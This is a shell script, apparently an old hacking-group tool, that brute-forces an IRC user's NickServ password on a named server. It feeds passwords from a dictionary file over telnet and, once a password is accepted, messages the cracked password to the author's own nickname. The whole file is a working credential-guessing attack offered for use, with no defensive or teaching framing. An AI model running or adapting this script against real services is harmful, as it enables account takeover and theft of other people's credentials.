#!/bin/sh
# Under GPL License Ver. 2.0
# IRC Brute Forcer written by hip0d
# Greatings fly to: 
# STRASHARO, Indjeto, ORDER, FuckBTK, necroleak, PsioN, babati
# and all other assholes that knows me
# Mail for bug report and suggestions :] hipodilski@dahmer.vistech.net

#dictionary file with passwords.
dictfile='names'

#irc server to use.
irc_server='irc.spnet.net'

#irc server port
irc_port='6667'

#bruteforce's nick username.
user='Brute Brute Brute Brute'

#victim nickname.
bruteforce_nick='brute_forcer'

#nick where stats go to.
serv_name='NS'

#nick where status to fly to.
stats_nick='hipodilski'

#Variables.
a=0
b=1

#Count file length.
file_length=`wc -l $dictfile | awk '{ print $1 }'`
#Logo.
echo "IRC PASS BRUTEFORCER ver. 0.1 - by hip0"
echo "***************************************"

#Cycle to the end of the dictionary file.

while [ "$a" -lt "$file_length" ]; do
a=$(($a + $b))

#Taking line from the dict file.
line=`cat $dictfile | head -n $a | tail -n 1 | head -n 1`

#Comment this to turn off the verbose mode it's turned on by default.
echo "\=| Try $a: | Password: $line |=/";
#Sending Stuff to NS.
(echo -e "USER $user"; 
echo -e "NICK $bruteforce_nick";
echo -e "PRIVMSG $serv_name :id $line";

#Uncomment this if you want to send to ur nick what is sended to NS.
#echo -e "PRIVMSG $stats_nick :id $line"; 
sleep 2; echo -e "QUIT") | telnet $irc_server $irc_port &> irc_brute.log;
echo $line >> irc_brute.log;
GOT_PASS=`cat irc_brute.log | grep "Password accepted"`

#Check if the password bruteforcing is succesfull.
if [ "$GOT_PASS" != "" ]; then
echo -e -n "\n\n\n\tYeah Babe That's Your lucky day!";
( echo -e "USER $user"; echo -e "NICK $bruteforce_nick";
echo -e "PRIVMSG $stats_nick :G0T PASS!:]. Password for nick: $bruteforce_nick is: $line"; 
sleep 1) | telnet $irc_server $irc_port &>/dev/null 
echo -e "\n\tG0T PASS!;] PASSWORD is: $line\a\a\a";
echo -e "\t\tG0T PASS!;] PASSWORD is: $line\a\a\a" > irc_brute.log;
exit 0;
else
cat /dev/null;
fi
done
